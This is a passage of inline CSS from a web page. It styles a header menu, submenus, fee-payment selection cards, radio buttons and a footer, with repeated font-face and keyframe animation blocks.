opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-header-menu {
display: flex;
flex-direction: row;
height: 85px;
background-color: #ffffff;
justify-content: space-between;
align-items: center;
padding: 0 38px; }
@media (max-width: 1025px) {
.main-header-menu {
max-width: 320px;
flex-direction: column;
align-items: flex-start;
padding: 0;
height: auto; } }
.main-header-menu .main-header-content-links {
width: 100%;
height: 100%; }
@media (max-width: 1025px) {
.main-header-menu .main-header-content-links {
order: 1;
height: auto;
width: auto; } }
.main-header-menu .main-header-content-buttons {
display: flex;
align-items: center;
width: auto;
justify-content: space-between; }
@media (max-width: 1025px) {
.main-header-menu .main-header-content-buttons {
order: 0;
width: 100%;
height: 70px;
box-shadow: 0 8px 6px -6px #0000002b;
margin-bottom: 10px;
justify-content: space-evenly; } }
.main-header-menu .main-header-content-buttons button {
margin-left: 13px;
white-space: nowrap;
max-height: 35px;
font-size: 14px;
line-height: 19px;
padding: 8px 15px; }
.main-header-menu .main-header-content-buttons button.button--tertiary {
border: 1px solid #ff7a02; }
.main-header-menu .main-header-content-buttons button.button--tertiary .button__content {
color: #ff7a02; }
.main-header-menu .main-header-content-buttons button .button__content {
font-family: Nunito-SemiBold; }
@media (max-width: 1025px) {
.main-header-menu .main-header-content-buttons button {
padding: 8px 11px;
max-width: 128px; }
.main-header-menu .main-header-content-buttons button .button__content {
font-family: Nunito-Bold; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.header-menu {
height: inherit; }
.header-menu .header-menu--link {
height: inherit; }
.headermenu-link-container {
line-height: 19px;
display: flex;
flex-direction: row;
justify-content: flex-start;
align-items: flex-start;
position: relative;
text-decoration: none;
cursor: pointer; }
.headermenu-link-container.mobile {
display: flex;
height: auto; }
@media (min-width: 1026px) {
.headermenu-link-container.mobile {
display: none; } }
.headermenu-link-container.desktop {
display: none; }
@media (min-width: 1026px) {
.headermenu-link-container.desktop {
display: flex;
padding: 0px 20px;
height: 100%;
justify-content: center;
align-items: center; } }
.headermenu-link-container.active, .headermenu-link-container:hover {
background: linear-gradient(270deg, #FD8300 0.05%, #F10001 37%, #F10092 65.11%, #056BB1 99.97%);
background-size: 100% 4px;
background-repeat: no-repeat;
background-position-y: bottom; }
@media (max-width: 1025px) {
.headermenu-link-container.active, .headermenu-link-container:hover {
background: linear-gradient(180deg, #FD8300 0.05%, #F10001 37%, #F10092 65.11%, #056BB1 99.97%);
background-size: 4px 38px;
background-repeat: no-repeat;
background-position-x: left; } }
.headermenu-link-container .headermenu-link-text {
color: #000000;
font-family: Nunito-Regular;
font-size: 14px; }
.headermenu-link-container .header-submenu-icon {
position: absolute;
right: 30px;
color: #ecf2f8;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.4s;
-moz-transition-duration: 0.4s;
-ms-transition-duration: 0.4s;
-o-transition-duration: 0.4s;
transition-duration: 0.4s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.headermenu-link-container .header-submenu-icon.open {
-webkit-transform: rotateZ(90deg);
-moz-transform: rotateZ(90deg);
-ms-transform: rotateZ(90deg);
-o-transform: rotateZ(90deg);
transform: rotateZ(90deg); }
@media (min-width: 1026px) {
.headermenu-link-container .header-submenu-icon {
display: none; } }
.header-submenu-links-container {
display: flex;
flex-direction: column;
background-color: #ffffff; }
.header-submenu-links-container.mobile {
display: flex;
padding-left: 15px; }
@media (min-width: 1026px) {
.header-submenu-links-container.mobile {
display: none; } }
.header-submenu-links-container.desktop {
display: none; }
@media (min-width: 1026px) {
.header-submenu-links-container.desktop {
display: flex;
box-shadow: 0px 13px 35px -20px rgba(0, 0, 0, 0.25), 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 6px;
position: absolute; } }
.header-submenu-links-container.header-submenu-links-closed {
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
overflow: hidden;
-webkit-animation: fadeOut ease 1s;
-moz-animation: fadeOut ease 1s;
-o-animation: fadeOut ease 1s;
animation: fadeOut ease 1s; }
.header-submenu-links-container.header-submenu-links-open {
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1025px) {
.headermenu-link-container {
padding: 8px 0px 8px 15px;
min-width: 320px;
align-items: center; }
.headermenu-link-container:first-child {
padding-top: 16px; }
.headermenu-link-container:last-child {
padding-bottom: 16px; }
.headermenu-link-container .headermenu-link-text {
font-size: 14px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.header-submenu-link-container {
position: relative;
padding: 16px 15px 0px 15px;
width: auto;
display: flex;
text-decoration: none;
align-items: center; }
.header-submenu-link-container:first-child {
padding-top: 16px; }
.header-submenu-link-container:last-child {
padding-bottom: 16px; }
.header-submenu-link-container.active .header-submenu-link-text, .header-submenu-link-container:hover .header-submenu-link-text {
color: #ff7a02; }
.header-submenu-link-container .header-submenu-link-text {
color: #000000;
font-family: Nunito-Regular;
font-size: 14px; }
@media (max-width: 1025px) {
.header-submenu-link-container {
min-width: 320px; }
.header-submenu-link-container .header-submenu-link-text {
font-size: 14px; } }
</style><style type="text/css">.menu-bar {
display: flex;
flex-direction: row;
justify-content: flex-start;
align-items: center;
height: 100%;
width: 100%; }
@media (min-width: 1026px) {
.menu-bar .menu-bar--link {
height: 100%; } }
@media (min-width: 1250px) {
.menu-bar .menu-bar--link {
margin-right: 20px; } }
@media (max-width: 1025px) {
.menu-bar {
flex-direction: column;
justify-content: unset;
align-items: unset;
height: auto;
width: auto;
max-width: 320px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-fee-payment {
display: flex;
width: 100%;
background: #ffffff;
border: 1px solid #cbd4dc;
box-sizing: border-box;
border-radius: 10px;
height: 82px;
justify-content: space-between;
padding: 12px 13px 12px 18px;
flex-flow: column;
margin-bottom: 24px; }
.main-fee-payment:last-child {
margin-bottom: 0px; }
.main-fee-payment.selected {
border: 1px solid #18a0fb;
-webkit-box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2);
-moz-box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2);
-ms-box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2);
-o-box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2);
box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2); }
@media (max-width: 727px) {
.main-fee-payment {
height: 116px;
padding: 12px 16px 15px 18px; } }
@media (max-width: 375px) {
.main-fee-payment {
padding: 12px 16px 15px 13px; } }
.main-fee-payment .main-fee-payment-content {
display: flex;
justify-content: space-between; }
.main-fee-payment .main-fee-payment-content .fee-payment-left-content {
display: flex; }
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .container__form {
margin-right: 10px;
position: relative;
display: flex;
margin-top: 5px; }
@media (max-width: 727px) {
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .container__form {
margin-top: 6px; } }
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .container__form input[type='radio'] {
width: 20px;
height: 20px;
visibility: hidden;
margin: 0; }
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .fee-payment-left-content-text {
display: flex;
flex-flow: column;
justify-content: space-between; }
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .fee-payment-left-content-text .left-content-text-title {
color: #416179;
font-size: 18px;
font-family: Nunito-Bold;
line-height: 25px;
height: 32px;
align-items: center;
display: flex; }
@media (max-width: 727px) {
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .fee-payment-left-content-text .left-content-text-title {
font-size: 15px;
margin-top: 5px;
line-height: 24px;
height: 42px;
align-items: flex-start; } }
@media (max-width: 375px) {
.main-fee-payment .main-fee-payment-content .fee-payment-left-content .fee-payment-left-content-text .left-content-text-title {
line-height: 16px; } }
.main-fee-payment .main-fee-payment-content .fee-payment-right-content {
display: flex;
flex-flow: column;
max-height: 53px;
justify-content: space-between; }
.main-fee-payment .main-fee-payment-content .fee-payment-right-content .right-content-amount {
margin-right: 3px;
margin-bottom: 4px;
font-size: 24px;
font-family: NunitoSans-Bold;
color: #122e43;
line-height: 33px; }
@media (max-width: 727px) {
.main-fee-payment .main-fee-payment-content .fee-payment-right-content .right-content-amount {
line-height: 32px;
margin-right: 0px;
margin-bottom: 0px; } }
@media (max-width: 375px) {
.main-fee-payment .main-fee-payment-content .fee-payment-right-content .right-content-amount {
font-size: 20px; } }
.main-fee-payment .main-fee-payment-content .fee-payment-right-content .right-content-fee {
display: flex;
justify-content: flex-end;
font-size: 16px;
font-family: Nunito-Regular;
color: #416179;
line-height: 22px; }
.main-fee-payment .left-content-text-date {
color: #416179;
font-size: 16px;
font-family: Nunito-Regular; }
@media (max-width: 375px) {
.main-fee-payment .left-content-text-date {
font-size: 14px; } }
.main-fee-payment .left-content-text-date label {
font-family: Nunito-Bold;
margin-left: 5px; }
.main-fee-payment .left-content-text-date span {
color: #ffffff;
border-radius: 6px;
padding: 4px 6px;
margin-left: 4px;
font-size: 12px;
font-family: Nunito-Bold; }
@media (max-width: 727px) {
.main-fee-payment .left-content-text-date span {
margin-left: auto; } }
.main-fee-payment .left-content-text-date span.valid {
background: #04c532; }
.main-fee-payment .left-content-text-date span.expired {
background: #ff4858; }
.main-fee-payment .left-content-text-date.desktop {
display: flex;
margin-top: 3px; }
@media (max-width: 727px) {
.main-fee-payment .left-content-text-date.desktop {
display: none; } }
.main-fee-payment .left-content-text-date.mobile {
display: none; }
@media (max-width: 727px) {
.main-fee-payment .left-content-text-date.mobile {
display: flex;
margin-left: 30px;
align-items: center; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.radio {
width: 20px;
height: 20px;
border-radius: 50%;
box-sizing: border-box;
position: absolute;
left: 0;
top: 0;
outline: 0;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
cursor: pointer; }
.radio.radio--default {
background-color: #ffffff;
border: 1px solid #cbd4dc; }
.radio.radio--default.checked {
border: 7px solid #2d9cdb; }
.radio.radio--default.checked:hover {
border: 7px solid #2d9cdb; }
.radio.radio--default:hover {
border: 7px solid #cbd4dc; }
.radio.radio--default:focus {
border: 7px solid #cbd4dc;
-webkit-box-shadow: 0px 0px 0px 3px #2d9cdb;
-moz-box-shadow: 0px 0px 0px 3px #2d9cdb;
-ms-box-shadow: 0px 0px 0px 3px #2d9cdb;
-o-box-shadow: 0px 0px 0px 3px #2d9cdb;
box-shadow: 0px 0px 0px 3px #2d9cdb; }
.radio.radio--default.disabled {
border: 7px solid #d0d5d9;
cursor: no-drop; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-footer-public {
display: flex;
flex-direction: column;
background-color: #ffffff;
